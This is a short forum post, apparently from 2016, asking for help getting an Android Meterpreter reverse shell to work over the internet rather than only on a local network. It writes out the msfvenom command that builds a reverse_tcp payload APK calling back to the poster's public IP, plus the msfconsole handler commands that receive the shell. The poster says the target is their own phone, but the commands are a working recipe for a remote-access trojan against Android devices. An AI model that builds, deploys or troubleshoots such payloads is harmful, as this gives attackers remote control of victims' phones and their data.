Hello,

So as the title says, I'm trying to create a meterpreter session with my android phone on the WAN but i haven't had any luck.

this is what i did.
I portforwarded the port 4444 on my router. (You can see my setting in the attachment).

Screenshot from 2016-04-10 21-22-12.png

Then i create a ..apk payload using msfvenom
these are the commands i used

msfvenom -p android/meterpreter/reverse_tcp LHOST= {MY PUBLIC IP} LPORT=4444 R > /root/Desktop/payload.apk

then i installed the apk on my phone
i start the meterpreter

msfconsole
use exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set lhost {my local ip}
set lport 4444
exploit

and then i run the payload on my phone but i can't establish a connection.
This works on my local network but i want to enable it on WAN.

Help would be appreciated.

Thanks